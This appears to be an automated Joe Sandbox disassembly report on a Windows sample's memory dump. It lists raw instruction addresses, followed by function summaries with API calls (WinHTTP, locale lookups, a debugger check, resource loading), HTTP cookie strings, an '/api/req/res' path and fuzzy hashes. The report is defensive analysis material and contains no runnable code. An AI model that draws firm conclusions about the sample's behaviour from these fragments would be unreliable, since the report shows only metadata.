0x00bd610c
0x00bd610c
0x00bd610f
0x00bd6124
0x00bd612a
0x00bd613c
0x00bd6142
0x00bd6147
0x00bd614d
0x00bd6150
0x00bd6150
0x00bd6166
0x00bd616b
0x00bd616e
0x00bd616e
0x00bd6174
0x00bd6174
0x00bd6180
0x00bd6185
0x00bd6185
0x00bd6196
0x00bd6196
0x00bd61a3
0x00bd61a9
0x00bd61ab
0x00bd61ad
0x00bd61b3
0x00bd61b5
0x00bd61b7
0x00bd61bd
0x00bd61c7
0x00bd61cb
0x00bd61d4
0x00bd61d8
0x00bd61db
0x00bd61e3
0x00bd61ec
0x00bd61f0
0x00bd61f5
0x00bd61f7
0x00bd61f7
0x00bd61b5
0x00bd61fa
0x00bd6200
0x00bd6203
0x00bd6205
0x00bd620f
0x00bd6213
0x00bd6219
0x00bd621b
0x00bd621b
0x00bd6225
0x00bd622a
0x00bd622d
0x00bd622f
0x00bd6231
0x00bd6236
0x00bd623c
0x00bd623c
0x00bd6261
0x00bd6263
0x00bd6265
0x00bd62a1
0x00bd62bc
0x00bd62c6
0x00bd62d1
0x00bd62d6
0x00bd62f0
0x00bd62f6
0x00bd62f8
0x00bd62fa
0x00bd62fc
0x00bd6300
0x00bd6300
0x00bd6303
0x00bd6306
0x00bd6306
0x00bd630b
0x00bd630b
0x00bd630f
0x00bd6314
0x00bd6314
0x00bd631a
0x00bd631f
0x00bd6267
0x00bd6272
0x00bd6283
0x00bd6297
0x00bd6299
0x00bd629b
0x00000000
0x00000000
0x00bd629b
0x00bd6322
0x00bd632f
0x00bd6336
0x00bd633d
0x00bd6344
0x00bd6595
0x00bd6595
0x00000000
0x00bd634a
0x00bd634a
0x00bd634f
0x00bd6354
0x00bd6357
0x00bd635a
0x00000000
0x00000000
0x00bd6360
0x00bd6363
0x00bd6366
0x00bd6366
0x00bd6369
0x00000000
0x00bd636b
0x00bd636b
0x00bd636f
0x00bd637a
0x00bd6380
0x00bd638a
0x00bd6391
0x00bd6396
0x00bd639c
0x00bd63a2
0x00bd63a8
0x00bd63af
0x00bd63b4
0x00bd63bf
0x00bd63c4
0x00bd63ca
0x00bd63cd
0x00bd63d3
0x00bd63d9
0x00bd63db
0x00bd63ea
0x00bd63ec
0x00bd63ee
0x00bd63f5
0x00bd63fb
0x00bd6400
0x00bd6410
0x00bd6415
0x00bd641b
0x00bd641e
0x00bd6424
0x00bd642a
0x00bd642c
0x00bd6434
0x00bd6434
0x00bd643e
0x00bd642e
0x00bd6430
0x00bd6432
0x00000000
0x00000000
0x00bd6432
0x00bd642c
0x00bd63ec
0x00bd6445
0x00bd6449
0x00bd644b
0x00bd6517
0x00bd6517
0x00bd651b
0x00bd6521
0x00bd6524
0x00bd655b
0x00bd655b
0x00bd6562
0x00bd6568
0x00bd659b
0x00bd659c
0x00000000
0x00bd656a
0x00bd656a
0x00000000
0x00bd656a
0x00bd6526
0x00bd6526
0x00bd652c
0x00bd6533
0x00bd6535
0x00bd653b
0x00bd6551
0x00bd6551
0x00bd6553
0x00bd6558
0x00000000
0x00bd653d
0x00bd653d
0x00bd6540
0x00bd6548
0x00bd654b
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd654b
0x00bd653b
0x00bd6451
0x00bd6451
0x00bd6453
0x00bd64ba
0x00bd64ce
0x00bd64d0
0x00bd64d3
0x00bd64d9
0x00bd64ef
0x00bd64ef
0x00bd64f1
0x00bd64f6
0x00bd64f9
0x00bd6503
0x00bd650d
0x00000000
0x00bd64db
0x00bd64db
0x00bd64de
0x00bd64e6
0x00bd64e9
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd64e9
0x00bd6455
0x00bd6455
0x00bd6458
0x00bd6458
0x00bd645a
0x00bd645d
0x00000000
0x00bd645f
0x00bd645f
0x00bd6462
0x00bd6469
0x00bd646f
0x00bd6487
0x00bd6487
0x00bd6489
0x00bd648e
0x00bd6494
0x00000000
0x00bd6471
0x00bd6471
0x00bd6474
0x00bd647c
0x00bd647f
0x00000000
0x00bd6485
0x00bd6485
0x00000000
0x00bd6485
0x00bd647f
0x00bd646f
0x00000000
0x00bd6497
0x00bd6499
0x00bd64a0
0x00bd64a4
0x00bd64aa
0x00bd64b0
0x00bd64b0
0x00bd64b4
0x00000000
0x00bd64b4
0x00bd6453
0x00bd644b
0x00000000
0x00bd6369
0x00000000
0x00bd6354
0x00000000
0x00000000
0x00000000
0x00bd59da
0x00bd59cf
0x00bd574d
0x00bd574d
0x00bd5753
0x00bd5757
0x00bd575e
0x00bd5764
0x00bd5766
0x00bd6575
0x00bd6575
0x00bd657b
0x00bd6581
0x00000000
0x00bd576c
0x00bd576c
0x00bd5772
0x00bd5774
0x00bd585d
0x00bd5863
0x00bd5865
0x00bd5876
0x00bd5880
0x00bd5886
0x00bd588e
0x00bd58a0
0x00bd58a5
0x00bd58b1
0x00bd58b4
0x00bd58ba
0x00bd58bc
0x00bd58cc
0x00bd58de
0x00bd58e9
0x00bd58ec
0x00bd58ec
0x00bd58f4
0x00bd5903
0x00bd5909
0x00bd590b
0x00000000
0x00000000
0x00000000
0x00bd590b
0x00bd577a
0x00bd577a
0x00bd577e
0x00bd5781
0x00bd5787
0x00bd578a
0x00bd5794
0x00bd579e
0x00bd57a8
0x00bd57b2
0x00bd57bc
0x00bd57c4
0x00bd57ce
0x00bd57d0
0x00bd57d0
0x00bd57e4
0x00bd57ea
0x00bd57ec
0x00bd590d
0x00bd5913
0x00bd57f2
0x00bd57f4
0x00bd57fe
0x00bd5804
0x00bd5806
0x00bd5815
0x00bd5821
0x00bd582b
0x00bd582e
0x00bd582e
0x00bd5834
0x00bd5840
0x00bd5842
0x00bd5845
0x00bd5845
0x00bd5847
0x00bd584d
0x00bd584f
0x00bd5856
0x00bd5856
0x00bd584f
0x00bd5919
0x00bd5919
0x00bd5925
0x00bd5927
0x00bd592a
0x00bd592a
0x00bd592c
0x00bd5932
0x00bd5934
0x00bd5937
0x00bd5937
0x00bd5934
0x00bd5939
0x00bd593f
0x00bd5941
0x00bd5944
0x00bd5944
0x00bd594a
0x00bd5951
0x00bd5957
0x00bd595d
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd595d
0x00bd5766
0x00bd5558
0x00bd5558
0x00bd555c
0x00bd5571
0x00bd557b
0x00bd5582
0x00bd5587
0x00bd558b
0x00bd5591
0x00bd5598
0x00bd559a
0x00bd559a
0x00bd55ad
0x00bd55b2
0x00bd55ca
0x00bd55d3
0x00bd55d9
0x00bd55db
0x00bd55dd
0x00bd55e3
0x00bd55e3
0x00bd55e9
0x00bd55ed
0x00bd55f3
0x00bd55f6
0x00000000
0x00bd55f8
0x00bd55f8
0x00bd55fe
0x00bd5605
0x00bd5607
0x00bd560d
0x00bd5623
0x00bd5623
0x00bd5625
0x00bd562a
0x00000000
0x00bd560f
0x00bd560f
0x00bd5612
0x00bd561a
0x00bd561d
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd561d
0x00bd560d
0x00bd55f6
0x00000000
0x00bd5552
0x00bd658c
0x00000000
0x00bd658c
0x00bd54c8
0x00bd547e
0x00bd5315
0x00bd5315
0x00bd531c
0x00bd5322
0x00bd5324
0x00bd5324
0x00bd532f
0x00bd5335
0x00bd5337
0x00bd5339
0x00000000
0x00bd533b
0x00bd533b
0x00bd65b5
0x00bd65b5
0x00bd65bb
0x00bd65c2
0x00bd65c2
0x00bd65c8
0x00bd65cb
0x00bd65fe
0x00000000
0x00bd65cd
0x00bd65cd
0x00bd65d3
0x00bd65da
0x00bd65dc
0x00bd65e2
0x00bd65f4
0x00bd65f4
0x00bd65f6
0x00000000
0x00bd65e4
0x00bd65e4
0x00bd65e7
0x00bd65ef
0x00bd65f2
0x00bd6621
0x00bd6621
0x00bd6626
0x00bd6627
0x00bd6628
0x00bd6629
0x00bd662a
0x00bd662b
0x00bd662c
0x00bd662d
0x00bd662e
0x00bd662f
0x00bd6630
0x00bd6631
0x00bd6633
0x00bd6635
0x00bd6640
0x00bd6641
0x00bd6644
0x00bd6649
0x00bd664b
0x00bd664e
0x00bd664f
0x00bd6650
0x00bd6651
0x00bd6655
0x00bd665b
0x00bd665e
0x00bd6661
0x00bd6664
0x00bd6670
0x00bd6675
0x00bd6679
0x00bd6682
0x00bd6685
0x00bd6687
0x00bd6689
0x00bd6689
0x00bd668a
0x00bd668a
0x00bd668f
0x00bd6694
0x00bd6699
0x00bd669e
0x00bd66a1
0x00bd66a3
0x00bd66a6
0x00bd66a8
0x00bd67cd
0x00bd66ae
0x00bd66ae
0x00bd66b1
0x00bd66b4
0x00bd66b7
0x00bd66b7
0x00bd66b9
0x00bd66bc
0x00bd66c0
0x00bd66c0
0x00bd66c2
0x00bd66c4
0x00bd66e1
0x00bd66c6
0x00bd66dc
0x00bd66dc
0x00bd66e6
0x00bd66e9
0x00bd66e9
0x00bd66f0
0x00bd66f0
0x00bd66f6
0x00bd66fd
0x00bd6703
0x00bd6706
0x00bd670d
0x00bd6715
0x00bd671b
0x00bd671e
0x00bd6725
0x00bd672d
0x00bd6733
0x00bd6736
0x00bd673d
0x00bd6740
0x00bd6745
0x00bd6748
0x00bd674e
0x00bd6752
0x00bd6755
0x00bd6755
0x00bd675a
0x00bd675c
0x00bd675e
0x00bd6760
0x00bd6760
0x00bd6766
0x00bd6769
0x00bd676c
0x00bd676f
0x00bd6771
0x00bd6775
0x00bd6777
0x00bd6777
0x00bd677b
0x00bd6783
0x00bd6793
0x00bd6796
0x00bd6797
0x00bd679a
0x00bd679d
0x00bd679d
0x00bd6760
0x00bd67a8
0x00bd67a9
0x00bd67b0
0x00bd67b6
0x00bd67b9
0x00bd67bc
0x00bd67bf
0x00bd67bf
0x00bd67c8
0x00bd67c8
0x00bd67d0
0x00bd67d3
0x00bd67fa
0x00bd67ff
0x00bd680d
0x00bd6817
0x00bd67d5
0x00bd67d5
0x00bd67d6
0x00bd67d8
0x00bd67de
0x00bd67f0
0x00bd67f0
0x00bd67f2
0x00000000
0x00bd67e0
0x00bd67e0
0x00bd67e3
0x00bd67eb
0x00bd67ee
0x00bd681a
0x00bd681f
0x00bd6820
0x00bd6821
0x00bd6823
0x00bd6826
0x00bd6827
0x00bd6828
0x00bd682a
0x00bd6831
0x00bd6832
0x00bd6834
0x00bd6838
0x00bd683f
0x00bd685c
0x00bd6861
0x00bd6865
0x00bd6868
0x00bd686a
0x00bd686a
0x00bd686c
0x00bd686e
0x00bd6a04
0x00bd6a04
0x00bd6a09
0x00bd6a09
0x00bd6a10
0x00bd6874
0x00bd6874
0x00bd6874
0x00bd6876
0x00bd6877
0x00bd687a
0x00bd687c
0x00bd687f
0x00bd6883
0x00bd688a
0x00bd688d
0x00bd6890
0x00bd6893
0x00bd6896
0x00bd689c
0x00bd68a3
0x00bd68b1
0x00bd68b6
0x00bd68b8
0x00bd68c7
0x00bd68c9
0x00bd68cf
0x00bd68d1
0x00bd68d5
0x00bd68d8
0x00bd68dc
0x00bd68df
0x00bd68df
0x00bd68ee
0x00bd68f1
0x00bd68f4
0x00bd68f7
0x00bd68fb
0x00bd68ff
0x00bd68ff
0x00bd690e
0x00bd6912
0x00bd6914
0x00bd6918
0x00bd691a
0x00bd691a
0x00bd6925
0x00bd6929
0x00bd692b
0x00bd692f
0x00bd6931
0x00bd6931
0x00bd6937
0x00bd6940
0x00bd6944
0x00bd6947
0x00bd694a
0x00bd694a
0x00bd694a
0x00bd694c
0x00bd694f
0x00bd694f
0x00bd6957
0x00bd6959
0x00000000
0x00bd695f
0x00bd695f
0x00bd6961
0x00bd6964
0x00000000
0x00bd6966
0x00bd6966
0x00bd6969
0x00bd696f
0x00bd6974
0x00bd6975
0x00bd6978
0x00000000
0x00bd697a
0x00bd6980
0x00bd6988
0x00bd698a
0x00bd698a
0x00bd6990
0x00bd6993
0x00bd6998
0x00bd69a3
0x00bd69a8
0x00bd69ae
0x00bd69b3
0x00bd69b6
0x00bd69b9
0x00bd69bb
0x00bd69c0
0x00bd69c0
0x00bd69c2
0x00bd69c5
0x00bd69c5
0x00bd69c9
0x00bd69cb
0x00bd69cd
0x00bd69cd
0x00bd69d9
0x00bd69dc
0x00bd69dd
0x00bd69e0
0x00bd69e0
0x00bd69e0
0x00bd69c5
0x00bd69e5
0x00bd69e8
0x00bd69ed
0x00bd69ed
0x00bd69f0
0x00bd69f0
0x00bd69f4
0x00bd69f6
0x00bd69f8
0x00bd69f8
0x00bd69fa
0x00bd69fe
0x00bd69ff
0x00bd69ff
0x00bd69ff
0x00bd69f0
0x00000000
0x00bd69e8
0x00000000
0x00bd6978
0x00bd6a11
0x00bd6a16
0x00bd6a17
0x00bd6a18
0x00bd6a19
0x00bd6a1a
0x00bd6a1b
0x00bd6a1c
0x00bd6a1d
0x00bd6a1e
0x00bd6a1f
0x00bd6a20
0x00bd6a21
0x00bd6a23
0x00bd6a26
0x00bd6a27
0x00bd6a29
0x00bd6a2b
0x00bd6a2c
0x00bd6a2d
0x00bd6a2f
0x00bd6a32
0x00bd6a35
0x00bd6a3a
0x00bd6a3d
0x00bd6a40
0x00bd6a43
0x00bd6a45
0x00bd6a45
0x00bd6a47
0x00bd6a49
0x00bd6a4c
0x00bd6a4e
0x00bd6a4e
0x00bd6a50
0x00bd6a53
0x00bd6a55
0x00bd6a59
0x00bd6a60
0x00bd6a63
0x00bd6a64
0x00bd6a64
0x00bd6a6f
0x00bd6a7a
0x00bd6a7f
0x00bd6a84
0x00bd6a87
0x00bd6a89
0x00bd6c3c
0x00bd6c41
0x00bd6c41
0x00bd6c48
0x00bd6a90
0x00bd6a90
0x00bd6a91
0x00bd6a94
0x00bd6a96
0x00bd6a98
0x00000000
0x00000000
0x00bd6a9e
0x00bd6aa2
0x00bd6aa3
0x00bd6aa4
0x00bd6aa7
0x00bd6aad
0x00bd6aad
0x00bd6aaf
0x00bd6aaf
0x00bd6ab2
0x00bd6ab2
0x00bd6ab6
0x00bd6ab9
0x00bd6abb
0x00bd6ac0
0x00bd6ac2
0x00bd6acc
0x00bd6ace
0x00bd6ad5
0x00bd6ad8
0x00bd6ade
0x00bd6ae6
0x00bd6ada
0x00bd6ada
0x00bd6ada
0x00bd6ad0
0x00bd6ad0
0x00bd6ad0
0x00bd6ac4
0x00bd6ac4
0x00bd6ac4
0x00bd6ac2
0x00bd6ae9
0x00bd6aed
0x00bd6aee
0x00bd6aee
0x00bd6af3
0x00bd6afd
0x00bd6b02
0x00bd6b05
0x00bd6b10
0x00bd6b20
0x00bd6b22
0x00bd6b26
0x00bd6b29
0x00bd6b2c
0x00bd6b2f
0x00bd6b31
0x00bd6b31
0x00bd6b33
0x00bd6b36
0x00bd6b39
0x00bd6b3b
0x00bd6b3f
0x00bd6b41
0x00bd6b41
0x00bd6b43
0x00bd6b47
0x00bd6b49
0x00bd6b4d
0x00bd6b4f
0x00bd6b4f
0x00bd6b54
0x00bd6b5b
0x00bd6b5e
0x00bd6b5e
0x00bd6b5e
0x00bd6b60
0x00bd6b63
0x00bd6b65
0x00000000
0x00000000
0x00000000
0x00bd6b65
0x00bd6b6b
0x00bd6b6d
0x00bd6c49
0x00000000
0x00bd6b73
0x00bd6b73
0x00bd6b75
0x00bd6b78
0x00bd6b8e
0x00bd6b8e
0x00bd6b8e
0x00bd6b90
0x00bd6b90
0x00bd6b93
0x00bd6b93
0x00bd6b97
0x00bd6b97
0x00bd6b9a
0x00bd6b9c
0x00bd6b9e
0x00bd6ba1
0x00bd6ba3
0x00bd6bad
0x00bd6baf
0x00bd6bb6
0x00bd6bb9
0x00bd6bbf
0x00bd6bc7
0x00bd6bbb
0x00bd6bbb
0x00bd6bbb
0x00bd6bb1
0x00bd6bb1
0x00bd6bb1
0x00bd6ba5
0x00bd6ba5
0x00bd6ba5
0x00bd6ba5
0x00bd6ba3
0x00bd6bca
0x00bd6bce
0x00bd6bcf
0x00bd6bcf
0x00bd6bd4
0x00bd6bd7
0x00bd6bd8
0x00bd6bec
0x00bd6bef
0x00bd6bf4
0x00bd6c05
0x00bd6c08
0x00bd6c0b
0x00bd6c0e
0x00bd6c10
0x00bd6c4c
0x00bd6c4c
0x00bd6c51
0x00bd6c51
0x00bd6c58
0x00bd6c12
0x00bd6c15
0x00bd6c15
0x00bd6c17
0x00bd6c17
0x00bd6c1b
0x00bd6c1d
0x00bd6c1f
0x00bd6c1f
0x00bd6c21
0x00bd6c24
0x00bd6c27
0x00bd6c28
0x00bd6c28
0x00bd6c28
0x00bd6c2d
0x00bd6c32
0x00bd6c32
0x00bd6c39
0x00bd6c39
0x00bd6b7a
0x00bd6b7a
0x00bd6b7d
0x00bd6b83
0x00bd6b88
0x00bd6b89
0x00bd6b8c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd6b8c
0x00bd6c59
0x00bd6c5e
0x00bd6c5f
0x00bd6c60
0x00bd6c61
0x00bd6c63
0x00bd6c65
0x00bd6c70
0x00bd6c77
0x00bd6c7c
0x00bd6c7c
0x00bd6c7e
0x00bd6c81
0x00bd6c82
0x00bd6c83
0x00bd6c87
0x00bd6c8d
0x00bd6c8f
0x00bd6c95
0x00bd6c9b
0x00bd6cb3
0x00bd6cb9
0x00bd6cbe
0x00bd6cc2
0x00bd6cc8
0x00bd6cca
0x00bd6cd1
0x00bd6cd8
0x00bd6cdb
0x00bd6cdb
0x00bd6ce0
0x00bd6ce0
0x00bd6ce2
0x00bd6ce3
0x00bd6ce3
0x00bd6ce9
0x00bd6ced
0x00bd6cf2
0x00bd6cf8
0x00bd6cfe
0x00bd6d00
0x00bd6d03
0x00bd6d08
0x00bd6d0b
0x00bd6d18
0x00bd6d1b
0x00bd6d21
0x00bd6d23
0x00bd6d2a
0x00bd6d2a
0x00bd6d32
0x00bd6d3f
0x00bd6d49
0x00bd6d49
0x00bd6b78
0x00bd6b6d
0x00bd6a89
0x00bd6964
0x00bd6959
0x00000000
0x00000000
0x00000000
0x00bd67ee
0x00bd67de
0x00000000
0x00000000
0x00000000
0x00bd65f2
0x00bd65e2
0x00bd65cb
0x00bd5339
0x00bd5313
0x00bd5272
0x00bd5272
0x00bd6604
0x00bd6607
0x00bd661e
0x00bd661e
0x00000000

APIs

WinHttpOpen.WINHTTP(?,00000000,00000000,00000000,00000000), ref: 00BD532F
GetLastError.KERNEL32 ref: 00BD533B

Strings

Content-Length: {[0-9]+}, xrefs: 00BD5B22
{<html>}, xrefs: 00BD6375
Set-Cookie:\b*{.+?}\n, xrefs: 00BD5BE8
POST, xrefs: 00BD52D5, 00BD52F2
<, xrefs: 00BD53E7
Location: {[0-9]+}, xrefs: 00BD5B82
GET, xrefs: 00BD52A3, 00BD52BC, 00BD52FD, 00BD634F
charset={[A-Za-z0-9\-_]+}, xrefs: 00BD5ABF
{</html>}, xrefs: 00BD63F0
Cookie: , xrefs: 00BD5566
utf-8, xrefs: 00BD621F

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorHttpLastOpen
String ID: <$Content-Length: {[0-9]+}$Cookie: $GET$Location: {[0-9]+}$POST$Set-Cookie:\b*{.+?}\n$charset={[A-Za-z0-9\-_]+}$utf-8${</html>}${<html>}
API String ID: 377367503-1096743455
Opcode ID: a4132a4f129798fa624973b48dc136b55aa80bf06eca1e198f5cd3672be7afb6
Instruction ID: 528592aa65abb9733495732e93c9f544735771af751af8f44151b22ea0c16af1
Opcode Fuzzy Hash: a4132a4f129798fa624973b48dc136b55aa80bf06eca1e198f5cd3672be7afb6
Instruction Fuzzy Hash: B5B27F70A006599BDB28DF24DC45BEAF7B5FF04304F1041DAE549A7281EBB4AAD4CF91

Uniqueness

Uniqueness Score: 100.00%

Function 00C0E31E, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C06F6D: GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
Part of subcall function 00C06F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

GetACP.KERNEL32(?,?,?,?,?,?,00C04253,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00C0E3DF
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00C04253,?,?,?,00000055,?,-00000050,?,?), ref: 00C0E40A
_wcschr.LIBVCRUNTIME ref: 00C0E49E
_wcschr.LIBVCRUNTIME ref: 00C0E4AC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00C0E56D

Strings

utf8, xrefs: 00C0E4DC

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 71ac8bae55bf2175679925ce1d8c41190dbfe79d0cc02b1f27f3a0084cdbc370
Instruction ID: 146d44266fb0933737d29cc06b77873c1969b3a0c68e858e03a384e5ec51f49d
Opcode Fuzzy Hash: 71ac8bae55bf2175679925ce1d8c41190dbfe79d0cc02b1f27f3a0084cdbc370
Instruction Fuzzy Hash: 8571F731680306AAE724AB75CC46BBB77A8EF49704F144C69F916DB1C1FB70EA40DB61

Uniqueness

Uniqueness Score: 1.91%

Function 00C11F1C, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00C12097

Strings

1#SNAN, xrefs: 00C1322E
1#IND, xrefs: 00C13227
1#QNAN, xrefs: 00C13235
1#INF, xrefs: 00C13252

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4b1996d51f35ce62809cae86b6528e0101e919a90051aeb177bb3d6c9d4de56f
Instruction ID: ac2988672236dcb68e48e231aeb0e95b683bb1abf889a5182dd066f80413a5b1
Opcode Fuzzy Hash: 4b1996d51f35ce62809cae86b6528e0101e919a90051aeb177bb3d6c9d4de56f
Instruction Fuzzy Hash: 8BC24975E046288FDB24CE28DD407EAB3B5EB4A305F1441EAD85DE7240E778AED5AF40

Uniqueness

Uniqueness Score: 0.09%

Function 00C0EAAA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00C0EDC8,00000002,00000000,?,?,?,00C0EDC8,?,00000000), ref: 00C0EB43
GetLocaleInfoW.KERNEL32(00000000,20001004,00C0EDC8,00000002,00000000,?,?,?,00C0EDC8,?,00000000), ref: 00C0EB6C
GetACP.KERNEL32(?,?,00C0EDC8,?,00000000), ref: 00C0EB81

Strings

OCP, xrefs: 00C0EAFE
ACP, xrefs: 00C0EAC8

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 1553b80005686e40e7d37cb3d9fbffb9b6016e3c9ba34bfb41f01eb5161cde62
Instruction ID: 9da916da06d936bc324095f76597eb4c3d5a6226ea8c559cb71a762e5c215a30
Opcode Fuzzy Hash: 1553b80005686e40e7d37cb3d9fbffb9b6016e3c9ba34bfb41f01eb5161cde62
Instruction Fuzzy Hash: 9421D322780111EBDB348F56C940BEB77A6BF54B64F268824E91BC7290E732DF40D354

Uniqueness

Uniqueness Score: 0.03%

Function 00C0EC7F, Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00C06F6D: GetLastError.KERNEL32(00000008,?,00000000,00C0C55A,00BF591B,00BF5961,?,00BF57A8,00000000), ref: 00C06F72
Part of subcall function 00C06F6D: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00BF57A8,00000000), ref: 00C07010

Part of subcall function 00C06F6D: _free.LIBCMT ref: 00C06FCF
Part of subcall function 00C06F6D: _free.LIBCMT ref: 00C07005

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00C0ED8B
IsValidCodePage.KERNEL32(00000000), ref: 00C0EDD4
IsValidLocale.KERNEL32(?,00000001), ref: 00C0EDE3
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00C0EE2B
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00C0EE4A

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 74d85865fd8c1060b21be00e87c9ac52e093e086bcb63df6341daf403a67bd44
Instruction ID: 62f4ed4d54c6013e9ebf453bf42d37a1b0069d0d6cb004fbdf51fed1617cc190
Opcode Fuzzy Hash: 74d85865fd8c1060b21be00e87c9ac52e093e086bcb63df6341daf403a67bd44
Instruction Fuzzy Hash: BA516D71A40319ABDB20EFA5DC41BBE77B8FF09700F184869B925E71D1E7709A44CB61

Uniqueness

Uniqueness Score: 0.13%

Function 00C01195, Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00C0128D
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00C01297
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00C012A4

Memory Dump Source

Source File: 00000000.00000002.644450642.0000000000BD1000.00000020.00020000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.644431700.0000000000BD0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644600257.0000000000C2E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644624889.0000000000C31000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_qtjRj8L3Rw.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 7e1047e8c8c0ce1729b20f27e5d54e4a9e7be704a437cabee24ec2d7cb212521
Instruction ID: 5e7c18dedbef946dd96ab942aea0bf192cf18bbcb11d6cad47429fec9bf67daa
Opcode Fuzzy Hash: 7e1047e8c8c0ce1729b20f27e5d54e4a9e7be704a437cabee24ec2d7cb212521
Instruction Fuzzy Hash: F231B17490122CABCB21DF64D8897DDBBF8BF08310F5041EAE91CA7291EB709B858F45

Uniqueness

Uniqueness Score: 0.02%

Function 00BD3FB0, Relevance: 4.5, APIs: 3, Instructions: 47COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,00000001,00000000,00000001,?,00BE709C,00BD9B48,?,?,00000000,?,?,00BD9B48,?), ref: 00BD3FBC
LockResource.KERNEL32(00000000,?,00BE709C,00BD9B48,?,?,00000000,?,?,00BD9B48,?,?,?,?,/api/req/res,0000000C), ref: 00BD3FC7
